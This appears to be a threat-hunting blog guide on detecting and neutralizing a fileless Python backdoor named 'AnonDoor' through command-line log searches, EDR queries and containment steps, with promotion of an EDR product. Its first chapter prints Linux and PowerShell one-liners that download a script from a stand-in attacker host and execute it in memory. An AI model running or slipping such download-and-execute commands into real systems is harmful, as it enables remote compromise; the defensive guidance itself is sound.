Find and neutralize the advanced, fileless Python backdoor AnonDoor before it exfiltrates critical data. This is a targeted threat, and a standard antivirus scan won't find it

 

 

 

   

🛡️ Elite Defender's Playbook • Threat Hunting

   

      Find and Neutralize the Advanced, Fileless Python Backdoor 'AnonDoor' Before It Exfiltrates Critical Data    

   

By CyberDudeBivash • October 03, 2025 • Threat Hunting Guide

 

      cyberdudebivash.com |       cyberbivash.blogspot.com    

 

 

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Disclosure: This is a technical threat hunting guide for security professionals. It contains affiliate links to relevant security solutions and training. Your support helps fund our independent research.

  IR Playbook: Table of Contents  

   
1. Chapter 1: The Threat — Understanding the Fileless Python Backdoor
   
2. Chapter 2: The Hunt, Phase 1 — Finding the Initial Execution Vector
   
3. Chapter 3: The Hunt, Phase 2 — Identifying the Live Malicious Process
   
4. Chapter 4: The Neutralization, Phase 3 — Killing the Backdoor & Preventing Re-infection
 

 

Chapter 1: The Threat — Understanding the Fileless Python Backdoor

 

Your standard antivirus scan just came back clean, but you have a gut feeling something is wrong. You're right to be paranoid. A new class of malware, like the "AnonDoor" backdoor, is designed to be invisible to traditional security. It is **fileless**, meaning the malicious script is never written to the disk where an antivirus could find it.

Attackers achieve this using a simple but powerful technique. After gaining an initial foothold, they execute a one-liner command like this:

# For Linux
/usr/bin/python3 -c "import urllib.request; exec(urllib.request.urlopen('http://attacker-c2.com/anondoor.py').read())"

# For Windows
powershell.exe -c "python -c 'import urllib.request; exec(urllib.request.urlopen(\"http://attacker-c2.com/anondoor.py\").read())'"

This command downloads the malicious Python script and pipes it directly into the Python interpreter. The code is compiled and runs entirely in memory. There is no file, no signature, and for your antivirus, no problem. But the attacker is now in your system.

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Chapter 2: The Hunt, Phase 1 — Finding the Initial Execution Vector

 

The first step in any hunt is to formulate a hypothesis. Our **Threat Hunting Hypothesis** is: *"The AnonDoor backdoor was launched via a command-line script and established persistence."*

The Action Plan:

1. Search Command-Line Logs:** Use your SIEM or EDR to search all historical command-line logs (`4688` events on Windows, `auditd` on Linux) for executions of `python.exe` or `python3` with the `-c` flag. Scrutinize any commands that include network-related modules like `urllib`, `requests`, or `socket`.
2. **Check for Persistence Mechanisms:** Where did the one-liner come from?
   • **On Linux:** Check user `crontab` entries and files in `/etc/cron.d/`.
   • **On Windows:** Check for new or suspicious Scheduled Tasks.
   • **On both:** Check shell history files like `.bash_history` or PowerShell history.

Finding this initial execution command gives you your first critical Indicator of Compromise (IOC): the attacker's C2 domain (`attacker-c2.com`).

---

 

Chapter 3: The Hunt, Phase 2 — Identifying the Live Malicious Process

 

Even if you can't find the initial execution, you can find the live, running backdoor. This is where an **Endpoint Detection and Response (EDR)** solution is not just helpful, but absolutely essential.

The "Golden Query" for a Fileless Python Backdoor:

Our new hypothesis is: *"The AnonDoor backdoor is currently running in memory as a Python process and is maintaining an active network connection to its C2 server."*

In your EDR's threat hunting interface, run this conceptual query:

SELECT process_name, command_line, remote_address, remote_port
FROM process_events
WHERE (process_name = 'python.exe' OR process_name = 'python3')
AND has_outbound_network_connection = true

This query will show you every running Python process on every machine that is making an outbound network connection. Now, you must analyze the results. A legitimate application or developer script might be on the list, but the malicious AnonDoor process will stand out by its long-lived, continuous connection to an unusual, low-reputation domain or IP address.

    Visibility is Your Weapon: This entire phase is impossible without the deep process-level visibility that an EDR provides. A platform like **Kaspersky EDR** is purpose-built for this hunt. Learn more in our **EDR Face-Off guide**.  

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Chapter 4: The Neutralization, Phase 3 — Killing the Backdoor & Preventing Re-infection

 

Once you've identified the malicious process, you must move quickly to neutralize it.

1. CONTAIN the Host:** Use your EDR's "Network Isolation" feature to immediately disconnect the compromised server from the network. This cuts the attacker's connection.
2. **ANALYZE the Process:** Before you kill it, use your EDR's "Live Response" or memory forensics capabilities to analyze the malicious process. Dump its memory to disk, inspect its open network connections, and see what files it has been accessing. This is critical for understanding the scope and goal of the attack.
3. **KILL the Process:** Terminate the malicious Python process via your EDR console.
4. **ERADICATE Persistence:** Using the information from your Phase 1 hunt, find and remove the cron job, scheduled task, or other mechanism that the attacker is using to re-launch the backdoor on reboot. This is the key to preventing re-infection.
5. **BLOCK the C2:** Add the C2 domain/IP you discovered to your firewall's blocklist enterprise-wide.

 

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About the Author

   

CyberDudeBivash is a cybersecurity strategist with 15+ years in threat hunting, incident response, and malware analysis, advising CISOs and SOC teams across APAC. [Last Updated: October 03, 2025]

 

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